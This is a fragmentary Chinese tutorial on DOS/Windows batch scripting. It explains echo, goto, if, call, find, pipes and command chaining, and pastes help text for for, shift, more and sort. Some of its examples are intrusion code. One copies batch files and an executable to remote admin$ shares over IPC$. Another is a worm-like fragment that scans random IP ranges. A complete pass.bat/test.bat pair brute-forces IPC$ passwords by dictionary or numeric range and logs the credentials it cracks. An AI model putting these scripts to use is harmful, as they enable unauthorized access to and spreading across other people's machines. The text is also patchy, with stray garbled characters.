按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit
例二、再给出一个已经过时的例子(a.bat):
@echo off
a.bat
为什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的QQ了(KAO,我的QQ还显示好友三围呢!!),所以它几乎用不上了。但曾经它的作用是不可小窥的:删除QQ的广告,让对话框干干净净。这里用的地址是QQ的默认安装地址,默认批处理文件名为a.bat,你当然可以根据情况自行修改。在这个脚本中使用了if命令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的DOS窗口,不按CTRL+C强行终止命令,它就一直监视是否有广告图片(QQ也再不断查看自己的广告是否被删除)。当然这个脚本占用你一点点内存,呵呵
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
if exist c:windowstemp*.* del c:windowstemp*.*
if exist c:windowsTempor~1*.* del c:windowsTempor~1*.*
if exist c:windowsHistory*.* del c:windowsHistory*.*
if exist c:windowsrecent*.* del c:windowsrecent*.*
将以上脚本内容保存到autoexec.bat里,每次开机时就把系统垃圾给自动删除了。这里需要注意两点:一、DOS不支持长文件名,所以就出现了Tempor~1这个东东;二、可根据自己的实际情况进行改动,使其符合自己的要求。
批处理看起来杂乱无章,但它的逻辑性之强,绝对不比其他程序语言(如汇编)低,如果你写的脚本是一堆乱麻,虽然每一行命令都正确,但从头执行到尾后,不一定得到你想要的结果,也许是一屏幕的Bad command or fail name。这又和爱情有了共同点:按步骤来经营,缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友,相信没有不肯定这句话的。我的爱情批处理,输出的结果不是Bad command or fail name,屏幕是这么显示的:‘你的爱情’不是内部或外部命令,也不是可运行的程序或批处理文件。然后就是光标不停闪动,等待这下一次错误的输入。
例五,先看一个实例。这是一个很有意思的脚本,一个小巧实用的好东东,把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编程序(MASM)的上机过程,先要对源代码进行汇编、连接,然后再执行,而这中间有很多环节需要输入很多东西,麻烦的很(只有经历过的朋友才懂得)。如何使这个过程变的简单呢?在我们搞汇编课程设计时,我“被逼”写了这个脚本,用起来很爽,呵呵。看看脚本内容:
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/ " goto usage
::if paramater is "/ " goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage
在这个脚本中出现了如下几个命令:@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令
这个符号大家都不陌生,email的必备符号,它怎么会跑到批处理中呢?呵呵,不是它的错,批处理本来就离不开它,要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身(多么绕口的一句话!)。呵呵,通俗一点说,行首有了它的话,这一行的命令就不显示了。在例五中,首行的@echo off中,@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧?还是不太懂?没关系,看完echo命令简介,自然就懂了
中文为“反馈”、“回显”的意思。它其实是一个开关命令,就是说它只有两种状态:打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo命令将显示当前echo命令状态(off或on)执行echo off将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行echo on命令。在例五中,首行的@命令和echo off命令联合起来,达到了两个目的:不显示echo off命令本身,不显示以后各行中的命令本身。的确是有点乱,但你要是练习一下的话,3分钟包会,不会的退钱
echo命令的另一种用法二:可以直接编辑文本文件。例六:
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat
这个命令的作用很简单,它是注释命令,在批处理脚本中和rem命令等效。它后面的内容在执行时不显示,也不起任何作用,因为它只是注释,只是增加了脚本的可读性,和C语言中的/*…………*/类似。地球人都能看懂,就不多说了
中文为“暂停”的意思(看看你的workman上),我一直认为它是批处理中最简单的一个命令,单纯、实用。它的作用,是让当前程序进程暂停一下,并显示一行信息:请按任意键继续. . .。在例五中这个命令运用了两次,第一次的作用是让使用者看清楚程序信息,第二个是显示错误的汇编代码信息(其实不是它想显示,而是masm程序在显示错误信息时被暂它停了,以便让你看清楚你的源代码错在哪里)。
为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。goto是个跳转命令,:是一个标签。当程序运行到goto时,将自动跳转到:定义的部分去执行了(是不是分不开?)。例五中倒数第5行行首出现一个:,则程序在运行到goto时就自动跳转到:标签定义的部分执行,结果是显示脚本usage(usage就是标签名称)。不难看出,goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法,参照例五
……
goto end
……
:end
这里:end在脚本最后一行!其实这个例子很弱智,后面讲了if命令和组合命令你就知道了
这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍),但千万别以为它只是参数就小看了它(看看例五中有多少地方用到它?),少了它批处理的功能就减少了51%了。看看例七:
net use \%1ipc$ %3 /u:"%2"
copy 11.BAT \%1admin$system32 /y
copy 13.BAT \%1admin$system32 /y
copy ipc2.BAT \%1admin$system32 /y
copy NWZI.EXE \%1admin$system32 /y
attrib \%1admin$system32?.bat -r -h -s
7、if
(1)、输入判断。还是用例五里面的那几句吧:
if "%1"=="/ " goto usage
if "%1"=="help" goto usage
masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj
if not errorlevel 1 link %1.obj
pause & edit %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
学过汇编或C的朋友,肯定都知道call指令表示什么意思了,在这里它的意思其实也是一样的。在批处理脚本中,call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八(默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat):
start.bat:
……
CALL 10.BAT 0
……
10.bat:
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k
那是不是说,在同一个目录下至少存在两个批处理脚本文件(只有一个你调用谁?)?呵呵,注意了,这句话错了!!只有一个照样可以调用----调用自身!看例九(默认脚本文件名a.bat):
call a.bat
9、find
这是一个搜索命令,用来在文件中搜索特定字符串,通常也作为条件判断的铺垫程序(我怎么突然想起了这四个字?)。这个命令单独使用的情况在批处理中是比较少见的,因为没什么实际意义。还是借例三来说明:
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
先用netstat命令检查是否有冰河默认的端口7626在活动,并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容,再在列出的内容中搜索字符串“7626” ,发现有的话则提示中了冰河,否则退出。看,find命令其实就这么简单,但有一点必须要注意到:如果不使用type命令列出a.txt中的内容,而是直接使用find命令在a.txt中找“7626”(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必须得给出这个a.txt的绝对路径(我试过了,find并没有默认路径就是当前路径的功能,必须手动指定。也许是我错了,欢迎指正)。因为在find命令的帮助里有这么一句话:如果没有指定路径,find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的type命令了。
为什么把这三个命令放到一起来讲?原因除了我说明外,恐怕谁也想不到!很简单的一句话:其实我也不太懂!是的,对于这两个命令,我是从研究Bat.Worm.Muma病毒开始学习的,时间过去了不少,但还是没完全搞明白,我怕讲出来连自己都看不懂,我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你,如何让这两个命令给自己留一个初步的印象,其实也就是这两个命令的入门,而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令(特别是for)谈何容易!也许你会表扬我说我诚实、不懂就不懂;也许你会骂我,让我既然不懂就赶紧滚蛋,不要在这里丢人显眼;也许你还会说一些别的这样那样好听或不好听的话,都随便你了,即使我不同意你说的话,我也会誓死捍卫你说话的权利。看例十一:
for / > for.txt
set / > set.txt
shift / >shift.txt
exit
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
不得不再次重申一遍,各种DOS命令是批处理的BODY(我实在找不出一个更合适的词来形容他们之间的关系),学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令,以及ping、net、cmd、at、sort、attrib、fc、find等外部命令,在批处理里的应用非常广泛。这篇教程的作用,是教你认识批处理,以及如何利用DOS命令组合出来一个完美的批处理脚本,去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的,这已经超出了本文的范畴,在此就不赘述了
这个命令恐怕大家不是很陌生,经常操作DOS的朋友都应该知道,当我们查看一个命令的帮助时,如果帮助信息比较长,一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕,而是直接显示到帮助信息的最后。如在提示符下输入help回车时,就会看到当前DOS版本所支持的所有非隐含命令,但你只能看到最后的那些命令,前面的早就一闪而过了,如何解决这个问题?看例十三:
回车后会发现显示满一屏幕后就自动暂停,等候继续显示其他信息。当按写回车时,变成一个一个的出现;按下空格键时一屏幕一屏幕显示,直到全部显示完为止;按其他键自动停止返回DOS。
为什么会出现上述现象?答案很简单,这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令,对理解|命令的用法有很大帮助。
more a.txt
del a.txt
两个命令的效果从本质上来说都是一样的,他们都是输出重定向命令,说的通俗一点,就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是,>会清除掉原有文件中的内容后把新的内容写入原文件,而>>只会另起一行追加新的内容到原文件中,而不会改动其中的原有内容。例十五:
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat
echo This is a pipeline command example.
echo It is very easy
pause
exit
看到这里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本,而不需要专门的文本编辑工具;2、管道命令>和>>的区别如上所述。如果这里只用>命令来完成上面操作,最后也会生成一个a.bat,但里面的内容就只剩下最后一行exit了。所以>和>>一般都联合起来用,除非你重定向的输出只有一行,那么就可以只用>了。结合例一再仔细体会输出重定向管道命令>和>>的用法。
>&,将一个句柄的输出写入到另一个句柄的输入中
<&,刚好和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中
这可以说是最简单的一个组合命令了,它的作用是用来连接n个DOS命令,并把这些命令按顺序执行,而不管是否有命令执行失败。例十六:
copy a.txt b.txt /y & del a.txt
15、&&
如果远程主机存在user.mdb,则copy到本地e:backupwww,如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢?呵呵。其实它和下面这句的作用是一样的:
这样,依据优先级高低,DOS将把这句话分成以下两部分:dir c: > a.txt和dir d: >> a.txt。例十八中的几句的差别比较特殊,值得好好研究体会一下。
dir c: > a.txt & dir d: >> a.txt
这个命令的用法和&&几乎一样,但作用刚好和它相反:利用这种方法在执行多条命令时,当遇到一个执行正确的命令就退出此命令组合,不再继续执行下面的命令。题目:查看当前目录下是否有以s开头的exe文件,如果有则退出。例十九:
dir s*.exe || exit
其实这个例子是有破绽的,你看出来了吗?其实很简单,自己试试就知道了嘛:如果存在那个exe文件,就退出;如果不存在那个exe文件,也退出!为什么?因为如果不存在那个.exe文件,则前一条命令dir s*.exe执行肯定是不成功的,所以就继续执行exit,自然就退出了,呵呵。那么如何解决题目给出的问题呢?看例二十:
@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit
给出两个更好研究优先级(同时也是更难理解)的脚本,仔细研究它们的区别,以便彻底理解各种命令的优先级顺序,对以后自己利用这些命令写脚本有很大的好处----不会出错!OK,请看例二十一和例二十二:
dir a.ttt /a & dir a.txt || exit
dir a.ttt /a && dir a.txt || exit
这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程:“简明批处理教程”,虽然说的比较全面,但看起来很不过瘾。在对for等命令介绍时就一个for / > a.txt & start a.txt完事了(当然这一点上我不能说人家什么,毕竟我连for / 都没给出),而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令,是因为他们才是批处理的精华和灵魂,能否正确利用好这几个命令,是能否掌握批处理的前提条件。如for、set等DOS命令的问题,可以从DOS的角度出发专门有针对性的学习,但有关这几个命令的问题,却是不容易精通掌握的----他们之间的关系太复杂了
1、如果用字典破解:pass.bat 字典文件路径及名称 主机 用户名
2、如果用数字破解:pass.bat 起始数 步长 结束数 主机 用户名
密码破解出来之后,存放于c:pass.txt文件里面
将下列代码存为pass.bat文件
@echo off
echo ------------------------------------------------------------------- >>c:pass.txt
echo ------------------------------------------------------------------- >>c:pass.txt
date /t >>c:pass.txt
time /t >>c:pass.txt
echo 破解结果: >>c:pass.txt
:大棒槌是我的说1
if "%6"=="1" goto 大棒槌是我的说2
:大棒槌是我的说1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的说2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
将下列代码存为test.bat
net use \%1ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令执行返回结果,net use成功返回0,失败返回2
:answer0
echo 远程主机:"%1" >>c:pass.txt
echo 用 户:"%3" >>c:pass.txt
echo 密 码:%2 >>c:pass.txt
net use \%1ipc$ /delet
exit
:answer2
For
对一组文件中的每个文件运行指定的命令
可以在批处理程序中或直接从命令提示符使用 for 命令
要在批处理程序中使用 for 命令,请使用以下语法:
要在命令提示符下使用 for,请使用以下语法:
for %variable in (set) do command [command-parameters]
%%variable 或 %variable
指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号
command
果启用了命令扩展(Windows 2000 中的默认设置),将支持 for 命令的其他形式
如果启用了命令扩展,将支持如下 for 命令的其他格式:
递归
集合是一系列按步长量划分的、从头到尾的数字。这样,(1,1,5) 将生成序列 1 2 3 4 5,而 (5,-1,1) 将生成序列 (5 4 3 2 1)。~]4@,D;h _mb
文件解析
for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]
for /F ["options"] [%% | %]variable in ('command') do command [command-parameters]
for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters]
for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]
过程由读取文件、分成独立的文本行及然后将每行解析成零个或更多个令牌组成。然后使用设置为找到的一个或多个令牌字符串的变量值(或多个值)集合调用 for 循环体。默认情况下,/F 传递每个文件每一行的第一个空白分隔符号
eol=c 指定行尾注释字符(只一个字符)
skip=n 指定在文件的开头跳过的行数
delims=xxx 指定定界符集合。这将替换空格和制表符的默认分隔符集
tokens=x,y,m-n 指定将令牌从每行传递到每个反复的正文。这将导致分配其他变量名。m-n 格式是一个范围,指定从 mth 到 nth 的令牌。
如果在令牌 = 字符串中最后一个字符是星号,则将分配附加的变量,并在解析最后一个令牌后在行上接收剩余的文本
%~I 展开删除了周围的任何引号 (") 的 %I
%~fI 将 %I 展开到完全合格的路径名
%~dI 只将 %I 展开到驱动器号
%~pI 只将 %I 展开到路径
%~nI 只将 %I 展开到文件名
%~xI 只将 %I 展开到文件扩展名
%~sI 展开路径以只包含短名称
%~aI 将 %I 展开到文件的文件属性
%~tI 将 %I 展开到文件的日期/时间
%~zI 将 %I 展开到文件大小
%~$PATH:I 搜索 PATH 环境变量所列出的目录,并将 %I 展开开到第一个找到结果的全部合格名称。如果没有定义环境变量名,或搜索后没有找到文件,则此修改程序将扩展为空字符串
%~dpI 只将 %I 展开到驱动器号和路径
%~nxI 只将 %I 展开到文件名和扩展名
%~fsI 将 %I 展开到只包含短名称的完整路径名
%~dp$PATH:I 在 PATH 环境变量所列出的目录中搜索 %I,并展开到第一个找到结果的驱动器号和路径
%~ftzaI 将 %I 扩展到与 dir 相似的输出行
在上述范例中,%I 和 PATH 可被其他有效值替换。通过有效的 for 变量名终止 %~ 语法
使用大写变量名(例如 %I)可以使代码更具可读性,并且避免与不区分大小写的修改程序混淆
Shift
更改批处理文件中可替换参数的位置
启用命令扩展(Windows 2000 中的默认设置)后,shift 命令支持 /n 开关,该开关通知命令在第 n 个参数处开始更改,n 可以是从 0 到 8 的任何一个值。例如,
筛选器命令可以帮助您排序、查看和选择部分命令输出结果
通过筛选器命令传递信息
find 命令在文件和命令输出中搜索指定字符
sort 命令按字母顺序排列文件和命令输出
more 命令每次一屏地显示文件的内容或命令输出。例如,下面的 more 命令每次显示一屏 List.txt 文件的内容:
tree 命令的第一屏输出被显示,后跟词“More”。Windows 2000 暂停,直到用户按键盘上的任意键为止(PAUSE 键除外)。
要将 find 当作筛选器命令使用,请包含小于符号 (<) 和搜索的文件名。当输入文件名时,请记住搜索要区分大小写。例如,下面的命令查找文件 Trade.txt 中所有的“Pacific Rim”字符串:
要保存 find 命令的输出而不是显示输出,请使用大于号 (>) 和要存储输出的文件名。例如,下面的命令查找文件 Trade.txt 中所有的“Pacific Rim”字符串,并将结果保存在 Nwtrade.txt 文件中:
对文本文件排序
sort < list.txt
每次显示一个输出屏幕。该命令通常用于查看长文件。可以单独使用此命令,或者使用它控制其他命令的输出,例如 type 命令。当显示填充可用的查看区域时将出现 more 提示,用户可以输入许多命令来控制查看文件其余部分的方式。
more [[/c] [/p] [/s] [/tn] [+n]] < [drive:][path] filename
参数
command name
指定将显示其输出的命令。
/c
/p
/s
将多个空白行更改为一个空白行。
将制表位更改为 n 个空格
+n
显示由 n 指定的行开始的第一个文件。
space 显示下一页
ENTER 显示下一行
F 显示下一个文件
q 退出
显示可用命令
= 显示行号
S n 跳过下面 n 行
Find
在一个文件或多个文件中搜索指定的文本字符串
当搜索到指定的文件后,find 将显示出包含指定字符串的所有行
/v
显示未包含指定字符串的所有行
只显示包含指定字符串的行数
将文件行号置于每行开头
指定搜索不区分大小写
指定要搜索的字符组。必须将 string 的文本包括在引号中
Sort
sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o [drive3:][path3]filename3]
/r
颠倒排序顺序,即从 Z 到 A 排序,然后从 9 到 0 排序
指定字符位置号 n,sort 在此处开始每次比较。例如,/+3 表示每次比较在每行的第三个字符开始。少于 n 个字符的行在其他行之前排序。默认情况下,比较在每行的第一个字符开始
指定用于排序的主内存数量,按千字节 (KB) 计。使用的内存最小值总是 160 KB。如果指定了内存大小,则无论有多少主内存可用,指定的确切数量(但至少 160 KB)的内存将用于排序。
如果输入输出均为文件,在没有指定大小时,默认最大内存大小为可用主内存的 90%,否则为主内存的 45%。默认设置通常会产生最佳的性能。
替代由系统默认区域设置定义的字符排序顺序;即在安装 Windows 2000 时选择的语言和“国家(地区)”。目前,默认区域设置唯一的备用选项就是“C”区域设置,该区域设置比自然语言排序快,根据二进制编码对字符排序
指定记录或输入文件的行中的最多字符数(默认值为 4096,最大值为 65535)。
指定要存储排序后的输入的文件。如果没有指定,数据将写入标准输出。指定输出文件比将同一文件作为标准输出重定向速度快!